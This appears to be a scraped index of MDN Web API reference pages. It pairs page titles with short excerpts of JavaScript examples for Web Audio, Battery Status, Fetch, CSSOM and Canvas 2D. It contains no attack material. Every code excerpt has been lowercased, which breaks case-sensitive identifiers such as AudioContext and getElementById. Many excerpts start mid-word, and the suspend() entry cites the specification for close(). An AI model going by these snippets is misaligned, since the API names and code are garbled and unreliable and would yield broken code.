AudioContext.createMediaElementSource() - Web APIs
specifications specification status comment web audio apithe definition of 'createmediaelementsource()' in that specification.
AudioContext.createMediaStreamDestination() - Web APIs
specifications specification status comment web audio apithe definition of 'createmediastreamdestination()' in that specification.
AudioContext.createMediaStreamSource() - Web APIs
specifications specification status comment web audio apithe definition of 'audiocontext.createmediastreamsource()' in that specification.
AudioContext.createMediaStreamTrackSource() - Web APIs
(stream); let biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 3000; biquadfilter.gain.value = 20; source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); }) .catch(function(err) { // handle getusermedia() error }); specifications specification status comment web audio apithe definition of 'createmediastreamtracksource()' in that specification.
AudioContext.outputLatency - Web APIs
example const audioctx = new audiocontext(); console.log(audioctx.outputlatency); specifications specification status comment web audio apithe definition of 'outputlatency' in that specification.
AudioContext.resume() - Web APIs
.onclick = function() { if(audioctx.state === 'running') { audioctx.suspend().then(function() { susresbtn.textcontent = 'resume context'; }); } else if(audioctx.state === 'suspended') { audioctx.resume().then(function() { susresbtn.textcontent = 'suspend context'; }); } } specifications specification status comment web audio apithe definition of 'resume()' in that specification.
AudioContext.suspend() - Web APIs
.onclick = function() { if(audioctx.state === 'running') { audioctx.suspend().then(function() { susresbtn.textcontent = 'resume context'; }); } else if(audioctx.state === 'suspended') { audioctx.resume().then(function() { susresbtn.textcontent = 'suspend context'; }); } } specifications specification status comment web audio apithe definition of 'close()' in that specification.
AudioDestinationNode.maxChannelCount - Web APIs
specifications specification status comment web audio apithe definition of 'maxchannelcount' in that specification.
AudioDestinationNode - Web APIs
specifications specification status comment web audio apithe definition of 'audiodestinationnode' in that specification.
AudioListener.dopplerFactor - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
AudioListener.setOrientation() - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
AudioListener.speedOfSound - Web APIs
generally you will define the position in 3d space that your audio listener and panner (source) occupy initially, and then update the position of one or both of these as the application is used.
AudioNode.channelCountMode - Web APIs
ple var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelcountmode = 'explicit'; specifications specification status comment web audio apithe definition of 'channelcountmode' in that specification.
AudioNode.context - Web APIs
WebAPIAudioNodecontext
ebkitaudiocontext; const audioctx = new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.context); // audiocontext console.log(oscillator.context === audioctx); // true specifications specification status comment web audio apithe definition of 'context' in that specification.
AudioNode.disconnect() - Web APIs
example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); gainnode.disconnect(); specifications specification status comment web audio apithe definition of 'disconnect' in that specification.
AudioNode.numberOfInputs - Web APIs
udiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.numberofinputs); // 0 console.log(gainnode.numberofinputs); // 1 console.log(audioctx.destination.numberofinputs); // 1 specifications specification status comment web audio apithe definition of 'numberofinputs' in that specification.
AudioNode.numberOfOutputs - Web APIs
ocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.numberofoutputs); // 1 console.log(gainnode.numberofoutputs); // 1 console.log(audioctx.destination.numberofoutputs); // 0 specifications specification status comment web audio apithe definition of 'numberofoutputs' in that specification.
AudioParam.cancelScheduledValues() - Web APIs
examples var gainnode = audioctx.creategain(); gainnode.gain.setvaluecurveattime(wavearray, audioctx.currenttime, 2); //'gain' is the audioparam gainnode.gain.cancelscheduledvalues(audioctx.currenttime); specifications specification status comment web audio apithe definition of 'cancelscheduledvalues' in that specification.
AudioParam.exponentialRampToValueAtTime() - Web APIs
specifications specification status comment web audio apithe definition of 'exponentialramptovalueattime' in that specification.
AudioParam.linearRampToValueAtTime() - Web APIs
; gainnode.connect(audioctx.destination); // set buttons to do something onclick linearrampplus.onclick = function() { gainnode.gain.linearramptovalueattime(1.0, audioctx.currenttime + 2); } linearrampminus.onclick = function() { gainnode.gain.linearramptovalueattime(0, audioctx.currenttime + 2); } specifications specification status comment web audio apithe definition of 'linearramptovalueattime' in that specification.
AudioParam.maxValue - Web APIs
example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); console.log(gainnode.gain.maxvalue); // 3.4028234663852886e38 specifications specification status comment web audio apithe definition of 'maxvalue' in that specification.
AudioParam.minValue - Web APIs
example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); console.log(gainnode.gain.minvalue); // -3.4028234663852886e38 specifications specification status comment web audio apithe definition of 'minvalue' in that specification.
AudioParam.setTargetAtTime() - Web APIs
audioctx.destination); // set buttons to do something onclick attimeplus.onclick = function() { currgain = 1.0; gainnode.gain.settargetattime(1.0, audioctx.currenttime + 1, 0.5); } attimeminus.onclick = function() { currgain = 0; gainnode.gain.settargetattime(0, audioctx.currenttime + 1, 0.5); } specifications specification status comment web audio apithe definition of 'settargetattime' in that specification.
AudioParam.setValueAtTime() - Web APIs
ation); // set buttons to do something onclick targetattimeplus.onclick = function() { currgain += 0.25; gainnode.gain.setvalueattime(currgain, audioctx.currenttime + 1); } targetattimeminus.onclick = function() { currgain -= 0.25; gainnode.gain.setvalueattime(currgain, audioctx.currenttime + 1); } specifications specification status comment web audio apithe definition of 'setvalueattime' in that specification.
AudioScheduledSourceNode.start() - Web APIs
context = new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* schedule the start and stop times for the oscillator */ osc.start(context.currenttime + 2); osc.stop(context.currenttime + 3); specifications specification status comment web audio apithe definition of 'start()' in that specification.
AudioScheduledSourceNode.stop() - Web APIs
*/ osc.start(); osc.stop(context.currenttime + 1); specifications specification status comment web audio apithe definition of 'stop()' in that specification.
AudioScheduledSourceNode - Web APIs
specification specification status comment web audio apithe definition of 'audioscheduledsourcenode' in that specification.
AudioTrack.sourceBuffer - Web APIs
specifications specification status comment media source extensionsthe definition of 'audiotrack: sourcebuffer' in that specification.
AudioTrackList: addtrack event - Web APIs
ventlistener('addtrack', (event) => { console.log(`audio track: ${event.track.label} added`); }); using the onaddtrack event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.onaddtrack = (event) => { console.log(`audio track: ${event.track.label} added`); }; specifications specification status html living standardthe definition of 'addtrack' in that specification.
AudioTrackList: change event - Web APIs
.log(`'${event.type}' event fired`); }; // changing the value of `enabled` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.audiotracks[0]; track.enabled = !track.enabled; }); specifications specification status html living standardthe definition of 'change' in that specification.
AudioTrackList: removetrack event - Web APIs
'removetrack', (event) => { console.log(`audio track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.onremovetrack = (event) => { console.log(`audio track: ${event.track.label} removed`); }; specifications specification status html living standardthe definition of 'removetrack' in that specification.
AudioWorkletGlobalScope.registerProcessor - Web APIs
const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const node = new audioworkletnode(audiocontext, 'test-processor') node.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'registerprocessor()' in that specification.
AudioWorkletGlobalScope - Web APIs
we should see the output of console.log calls in the console: const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const testnode = new audioworkletnode(audiocontext, 'test-processor') testnode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletglobalscope' in that specification.
AudioWorkletNode.onprocessorerror - Web APIs
}; examples // fill in example snippet specifications specification status comment web audio apithe definition of 'onprocessorerror' in that specification.
AudioWorkletNode.parameters - Web APIs
e-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status comment web audio apithe definition of 'parameters' in that specification.
AudioWorkletNode.port - Web APIs
specifications specification status comment web audio apithe definition of 'port' in that specification.
AudioWorkletNode - Web APIs
const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode = new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletnode' in that specification.
AudioWorkletProcessor.port - Web APIs
specifications specification status comment web audio apithe definition of 'port' in that specification.
AudioWorkletProcessor.process - Web APIs
have any references to it in the main thread return true } // define the customgain parameter used in process method static get parameterdescriptors () { return [{ name: 'customgain', defaultvalue: 1, minvalue: 0, maxvalue: 1, automationrate: 'a-rate' }] } } specifications specification status comment web audio apithe definition of 'process()' in that specification.
BaseAudioContext.createAnalyser() - Web APIs
v = dataarray[i] / 128.0; var y = v * height/2; if(i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'createanalyser()' in that specification.
BaseAudioContext.createBiquadFilter() - Web APIs
biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'createbiquadfilter()' in that specification.
BaseAudioContext.createBuffer() - Web APIs
o play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); specifications specification status comment web audio apithe definition of 'createbuffer()' in that specification.
BaseAudioContext.createBufferSource() - Web APIs
fer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); } specifications specification status comment web audio apithe definition of 'createbuffersource()' in that specification.
BaseAudioContext.createChannelMerger() - Web APIs
merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'createchannelmerger()' in that specification.
BaseAudioContext.createChannelSplitter() - Web APIs
merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'createchannelsplitter()' in that specification.
BaseAudioContext.createDelay() - Web APIs
var delay1; rangesynth.oninput = function() { delay1 = rangesynth.value; synthdelay.delaytime.setvalueattime(delay1, audioctx.currenttime); } specifications specification status comment web audio apithe definition of 'createdelay()' in that specification.
BaseAudioContext.createDynamicsCompressor() - Web APIs
essor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'createdynamicscompressor()' in that specification.
BaseAudioContext.createGain() - Web APIs
gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'creategain()' in that specification.
BaseAudioContext.createOscillator() - Web APIs
tx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.connect(audioctx.destination); oscillator.start(); specifications specification status comment web audio apithe definition of 'createoscillator' in that specification.
BaseAudioContext.createScriptProcessor() - Web APIs
laybutton.onclick = function() { source.connect(scriptnode); scriptnode.connect(audioctx.destination); source.start(); } // when the buffer source stops playing, disconnect everything source.onended = function() { source.disconnect(scriptnode); scriptnode.disconnect(audioctx.destination); } specifications specification status comment web audio apithe definition of 'createscriptprocessor' in that specification.
BaseAudioContext.createStereoPanner() - Web APIs
trol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'createstereopanner()' in that specification.
BaseAudioContext.createWaveShaper() - Web APIs
distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'createwaveshaper()' in that specification.
BaseAudioContext.decodeAudioData() - Web APIs
ute('disabled', 'disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; new promise-based syntax ctx.decodeaudiodata(audiodata).then(function(decodeddata) { // use the decoded data here }); specifications specification status comment web audio apithe definition of 'decodeaudiodata()' in that specification.
BaseAudioContext.destination - Web APIs
iocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix var oscillatornode = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillatornode.connect(gainnode); gainnode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'destination' in that specification.
BaseAudioContext.listener - Web APIs
var mylistener = audioctx.listener; specifications specification status comment web audio apithe definition of 'listener' in that specification.
BaseAudioContext.onstatechange - Web APIs
audioctx.onstatechange = function() { console.log(audioctx.state); } specifications specification status comment web audio apithe definition of 'onstatechange' in that specification.
BaseAudioContext.sampleRate - Web APIs
console.log(audioctx.samplerate); specifications specification status comment web audio apithe definition of 'samplerate' in that specification.
BaseAudioContext.state - Web APIs
audioctx.onstatechange = function() { console.log(audioctx.state); } specifications specification status comment web audio apithe definition of 'state' in that specification.
BasicCardRequest.supportedTypes - Web APIs
legal values are defined in basiccardtype enum, and are currently: credit debit prepaid example the following example shows a sample definition of the first parameter of the paymentrequest() constructor, the data property of which contains supportednetworks and supportedtypes properties.
BatteryManager.charging - Web APIs
example html content <div id="charging">(charging state unknown)</div> javascript content navigator.getbattery().then(function(battery) { var charging = battery.charging; document.queryselector('#charging').textcontent = charging ; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.level - Web APIs
example html content <div id="level">(battery level unknown)</div> javascript content navigator.getbattery().then(function(battery) { var level = battery.level; document.queryselector('#level').textcontent = level; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingchange - Web APIs
ttery().then(function(battery) { battery.onchargingchange = chargingchange(); function chargingchange() { document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingtimechange - Web APIs
on(battery) { battery.onchargingtimechange = chargingtimechange(); function chargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.ondischargingtimechange - Web APIs
ery) { battery.ondischargingtimechange = dischargingtimechange; function dischargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onlevelchange - Web APIs
document.queryselector('#statebaterry').textcontent = "charging time: " + (battery.chargingtime / 60); } else { document.queryselector('#statebaterry').textcontent = "discharging time: " + (battery.dischargingtime / 60); } }; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager - Web APIs
void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type) specifications specification status comment battery status api candidate recommendation initial definition ...
Battery Status API - Web APIs
specifications specification status comment battery status api candidate recommendation initial definition.
Using the Beacon API - Web APIs
beacon requests are guaranteed to be initiated before the page unloads.
Beacon API - Web APIs
requests are guaranteed to be initiated before a page is unloaded and they are run to completion, without requiring a blocking request (for example xmlhttprequest).
BiquadFilterNode.Q - Web APIs
innode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.type = "peaking"; biquadfilter.frequency.value = 1000; biquadfilter.q.value = 100; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'q' in that specification.
BiquadFilterNode.detune - Web APIs
tion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.detune.value = 100; specifications specification status comment web audio apithe definition of 'detune' in that specification.
BiquadFilterNode.frequency - Web APIs
nalyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'frequency' in that specification.
BiquadFilterNode.gain - Web APIs
nalyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'gain' in that specification.
BiquadFilterNode.getFrequencyResponse() - Web APIs
array.length-1;i++){ var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + myfrequencyarray[i] + 'hz</strong>: magnitude ' + magresponseoutput[i] + ', phase ' + phaseresponseoutput[i] + ' radians.'; freqresponseoutput.appendchild(listitem); } } calcfrequencyresponse(); specifications specification status comment web audio apithe definition of 'getfrequencyresponse()' in that specification.
BiquadFilterNode.type - Web APIs
nalyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'type' in that specification.
BiquadFilterNode - Web APIs
biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.setvalueattime(1000, audioctx.currenttime); biquadfilter.gain.setvalueattime(25, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'biquadfilternode' in that specification.
Blob.arrayBuffer() - Web APIs
WebAPIBlobarrayBuffer
specifications specification status comment file apithe definition of 'blob.arraybuffer()' in that specification.
Blob.stream() - Web APIs
WebAPIBlobstream
specifications specification status comment file apithe definition of 'blob.stream()' in that specification.
Blob.text() - Web APIs
WebAPIBlobtext
specifications specification status comment file apithe definition of 'blob.text()' in that specification.
Body.arrayBuffer() - Web APIs
WebAPIBodyarrayBuffer
function readfile(file) { return new response(file).arraybuffer(); } <input type="file" onchange="readfile(this.files[0])"> specifications specification status comment fetchthe definition of 'arraybuffer()' in that specification.
Body.blob() - Web APIs
WebAPIBodyblob
var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest) .then(response => response.blob()) .then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'blob()' in that specification.
Body.body - Web APIs
WebAPIBodybody
chunk into our target stream controller.enqueue(value); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob => url.createobjecturl(blob)) .then(url => console.log(image.src = url)) .catch(err => console.error(err)); specifications specification status comment fetchthe definition of 'body' in that specification.
Body.bodyUsed - Web APIs
WebAPIBodybodyUsed
ad.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response) { var objecturl = url.createobjecturl(response); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'bodyused' in that specification.
Body.formData() - Web APIs
WebAPIBodyformData
specifications specification status comment fetchthe definition of 'formdata()' in that specification.
Body.text() - Web APIs
WebAPIBodytext
ta = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest = new request(pageid + '.txt'); fetch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comment fetchthe definition of 'text()' in that specification.
BroadcastChannel.onmessageerror - Web APIs
}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
CSSRule.cssText - Web APIs
WebAPICSSRulecssText
syntax string = cssrule.csstext example <style> body { background-color: darkblue; } </style> <script> var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].csstext); // body { background-color: darkblue; } </script> specifications specification status comment css object model (cssom)the definition of 'cssrule: csstext' in that specification.
CSSRule.parentStyleSheet - Web APIs
} specifications specification status comment css object model (cssom)the definition of 'cssrule: parentstylesheet' in that specification.
CSSRuleList - Web APIs
they are: cssstylesheet property cssrules cssmediarule property cssrules csskeyframesrule property cssrules cssmozdocumentrule property cssrules specifications specification status comment css object model (cssom)the definition of 'cssrulelist' in that specification.
CSSStyleDeclaration.cssText - Web APIs
example <span id="s1" style="color: red;"> some text </span> <script> var elem = document.getelementbyid("s1"); alert(elem.style.csstext); // "color: red;" </script> specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration: csstext' in that specification.
CSSStyleDeclaration.getPropertyCSSValue() - Web APIs
example the following javascript code gets an object containing the computed rgb values of the color css property: var style = window.getcomputedstyle(elem, null); var rgbobj = style.getpropertycssvalue('color').getrgbcolorvalue(); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleRule.selectorText - Web APIs
specifications specification status comment css object model (cssom)the definition of 'cssstylerule.selectortext' in that specification.
CSSStyleRule.style - Web APIs
syntax styleobj = cssrule.style example function stilo() { alert(document.stylesheets[0].cssrules[0].style.csstext); } // displays "background-color: gray;" notes the declaration block is that part of the style rule that appears within the braces and that actually provides the style definitions (for the selector, the part that comes before the braces).
CSSStyleSheet.addRule() - Web APIs
therefore, given existing code such as the following: cssstylesheet.addrule(selector, styles, 0); you can rewrite this to use the more standard insertrule() like this: cssstylesheet.insertrule(`${selector} {${styles}}`, 0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.addrule()' in that specification.
CSSStyleSheet.cssRules - Web APIs
specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.cssrules' in that specification.
CSSStyleSheet.deleteRule() - Web APIs
mystyles.deleterule(0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.deleterule()' in that specification.
CSSStyleSheet.ownerRule - Web APIs
e is not imported */ } } this snipped obtains a reference to the stylesheet associated with the @import and processes it in some manner: let rulelist = document.stylesheets[0].cssrules; for (let rule of rulelist) { if (rule.ownerrule) { checkstylesheet(rule.ownerrule.stylesheet); } } specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.ownerrule' in that specification.
CSSStyleSheet.removeRule() - Web APIs
mystyles.removerule(0); you can rewrite this to use the standard deleterule() method very easily: mystyles.deleterule(0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.removerule()' in that specification.
CSSStyleSheet.rules - Web APIs
specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.rules' in that specification.
CSSVariableReferenceValue.fallback - Web APIs
specifications specification status comment css typed om level 1the definition of 'fallback' in that specification.
CSSVariableReferenceValue.variable - Web APIs
specifications specification status comment css typed om level 1the definition of 'variable' in that specification.
CSS Counter Styles - Web APIs
specifications specification status comment css counter styles level 3 candidate recommendation initial definition ...
CSS Font Loading API - Web APIs
specifications specification status comment css font loading module level 3 working draft initial definition.
Using dynamic styling information - Web APIs
initially defined in the dom level 2 style recommendation, these interfaces forms now a specification, css object model (cssom) which aims at superseding it.
CSS Object Model (CSSOM) - Web APIs
css device adaptation working draft css counter styles level 3 candidate recommendation document object model (dom) level 2 style specification obsolete initial definition.
CSS Painting API - Web APIs
specifications specification status comment css painting api level 1 working draft initial definition.
CSS Properties and Values API - Web APIs
examples the following uses css.registerproperty in javascript to type a css custom properties, --my-color, as a color, give it a default value, and not allow it to inherit its value: window.css.registerproperty({ name: '--my-color', syntax: '<color>', inherits: false, initialvalue: '#c0ffee', }); the same registration can take place in css using the following @property: @property --my-color { syntax: '<color>'; inherits: false; initial-value: #c0ffee; } specifications specification status comment css properties and values api level 1 working draft initial definition.
CSS Typed Object Model API - Web APIs
specifications specification status comment css typed om level 1 working draft initial definition.
CanvasGradient.addColorStop() - Web APIs
document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let gradient = ctx.createlineargradient(0, 0, 200, 0); gradient.addcolorstop(0, 'green'); gradient.addcolorstop(.7, 'white'); gradient.addcolorstop(1, 'pink'); ctx.fillstyle = gradient; ctx.fillrect(10, 10, 200, 100); result specifications specification status comment html living standardthe definition of 'canvasgradient.addcolorstop' in that specification.
CanvasGradient - Web APIs
specifications specification status comment html living standardthe definition of 'canvasgradient' in that specification.
CanvasPattern.setTransform() - Web APIs
th, canvas.height); eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener('click', function() { textarea.focus(); }) textarea.addeventlistener('input', drawcanvas); window.addeventlistener('load', drawcanvas); specifications specification status comment html living standardthe definition of 'canvaspattern.settransform' in that specification.
CanvasPattern - Web APIs
specifications specification status comment html living standardthe definition of 'canvaspattern' in that specification.
CanvasRenderingContext2D.arc() - Web APIs
ath.pi + (math.pi * j) / 2; // end point on circle let anticlockwise = i % 2 == 1; // draw anticlockwise ctx.arc(x, y, radius, startangle, endangle, anticlockwise); if (i > 1) { ctx.fill(); } else { ctx.stroke(); } } } result screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.arc' in that specification.
CanvasRenderingContext2D.arcTo() - Web APIs
et a = 0; // angle let pi2 = math.pi * 2; const loop = function (t) { t0 = t / 1000; a = t0 % pi2; rr = math.abs(math.cos(a) * r); ctx.clearrect(0, 0, canvas.width, canvas.height); drawarc([p1, p2, p3], rr); drawpoints([p1, p2, p3]); requestanimationframe(loop); } loop(0); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.arcto' in that specification.
CanvasRenderingContext2D.beginPath() - Web APIs
getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // first path ctx.beginpath(); ctx.strokestyle = 'blue'; ctx.moveto(20, 20); ctx.lineto(200, 20); ctx.stroke(); // second path ctx.beginpath(); ctx.strokestyle = 'green'; ctx.moveto(20, 20); ctx.lineto(120, 120); ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.beginpath' in that specification.
CanvasRenderingContext2D.bezierCurveTo() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(30, 30); ctx.beziercurveto(120,160, 180,10, 220,140); ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.beziercurveto' in that specification.
CanvasRenderingContext2D.canvas - Web APIs
you can get a reference to the canvas element within the canvasrenderingcontext2d by using the canvas property: var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); ctx.canvas // htmlcanvaselement specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.canvas' in that specification.
CanvasRenderingContext2D.clearRect() - Web APIs
ctx.fillstyle = '#ff6'; ctx.fillrect(0, 0, canvas.width, canvas.height); // draw blue triangle ctx.beginpath(); ctx.fillstyle = 'blue'; ctx.moveto(20, 20); ctx.lineto(180, 20); ctx.lineto(130, 130); ctx.closepath(); ctx.fill(); // clear part of the canvas ctx.clearrect(10, 10, 120, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.clearrect' in that specification.
CanvasRenderingContext2D.clip() - Web APIs
nvas'); const ctx = canvas.getcontext('2d'); // create clipping path let region = new path2d(); region.rect(80, 10, 20, 130); region.rect(40, 50, 100, 50); ctx.clip(region, "evenodd"); // draw stuff that gets clipped ctx.fillstyle = 'blue'; ctx.fillrect(0, 0, canvas.width, canvas.height); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.clip' in that specification.
CanvasRenderingContext2D.closePath() - Web APIs
canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.arc(240, 20, 40, 0, math.pi); ctx.moveto(100, 20); ctx.arc(60, 20, 40, 0, math.pi); ctx.moveto(215, 80); ctx.arc(150, 80, 65, 0, math.pi); ctx.closepath(); ctx.linewidth = 6; ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.closepath' in that specification.
CanvasRenderingContext2D.createImageData() - Web APIs
specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.createimagedata' in that specification.
CanvasRenderingContext2D.createPattern() - Web APIs
t canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const pattern = ctx.createpattern(patterncanvas, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, canvas.width, canvas.height); // add our primary canvas to the webpage document.body.appendchild(canvas); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.createpattern' in that specification.
CanvasRenderingContext2D.direction - Web APIs
